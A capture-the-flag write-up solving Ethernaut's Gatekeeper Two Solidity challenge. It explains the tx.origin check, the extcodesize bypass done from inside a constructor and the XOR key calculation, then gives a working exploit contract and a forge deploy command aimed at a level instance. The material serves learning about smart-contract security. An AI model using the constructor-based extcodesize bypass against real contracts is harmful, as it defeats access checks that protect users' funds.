Ethernaut Level 14 - Gatekeeper Two

Ethernaut Level 14 - Gatekeeper Two

Analysis and solution for Ethernaut's Level 14 - Gatekeeper Two, with Solidity and Foundry

Objectives

This is another Gatekeeper level that asks us to go through all the modifiers in order to become the entrant and complete the level.

There are two new concepts to learn here. They are extcodesize and XOR. Let's dive in.


Analysis

Gate One

modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

This modifier ensures that the msg.sender should not be equal to tx.origin. This is similar to Level 04 - Telephone.

To make sure our msg.sender and tx.origin are different, we need to create an intermediary contract that will make function calls to the Gatekeeper contract. This will make our caller's address the tx.origin and our deployed contract's address will be the msg.sender as received by the Gatekeeper.


Gate Two

modifier gateTwo() {
    uint x;
    assembly { 
        x := extcodesize(caller()) 
    }
    require(x == 0);
    _;
}

extcodesize:

In Solidity, we can use low-level codes by using assembly in YUL. They can be used inside assembly {...}. extcodesize is one such opcode that returns the code's size of any address.

caller():

This is the address of the call sender (except in the case of delegatecall).

In the modifier shown above, the variable x is used to store the size of the code on the caller()'s address, i.e., the contract which will be making a call to Gatekeeper Two's instance. We need to use another contract to make sure we pass the validation in the first gate.

The x variable is being checked to make sure that the size of the contract's code is 0, in other words, an EOA should make the call and not another contract.

So how do we satisfy both gate 1 and 2's criteria?

This is where constructor's come into play. During a contract's initialization, or when it's constructor is being called, its runtime code size will always be 0.

So when we put our exploit logic and call it from inside a constructor, the return value of extcodesize will always return zero. This essentially means that all our exploit code will be called from inside of our contract's constructor to go through the second gate.


Gate Three

modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
}

This is a simple XOR operation and we know that A XOR B = C is equal to A XOR C = B. Using this logic we can very easily find the value of the unknown _gateKey simply by using the following code:

bytes8 myKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));

Time to put everything inside our constructor.


The Exploit

Here's our final exploit code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel14.sol";

contract LetMeInTwo {

    constructor () public {
        GatekeeperTwo level12 = GatekeeperTwo(0x2D55d7Fd2cd2d3344F2Fd694f05E3fd63A9FDCDA);
        bytes8 myKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        level12.enter(myKey);        
    }
}

Let's deploy the contract using the command. Once this is deployed, the constructor will be triggered automatically completing the instance.

forge create LetMeInTwo --private-key $PKEY --rpc-url $RPC_URL

image.png

The updated entrant can be queried using await contract.entrant: image.png

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

This level was more CTF-focused and taught us the use of extcodesize and its complications during contract deployment.


References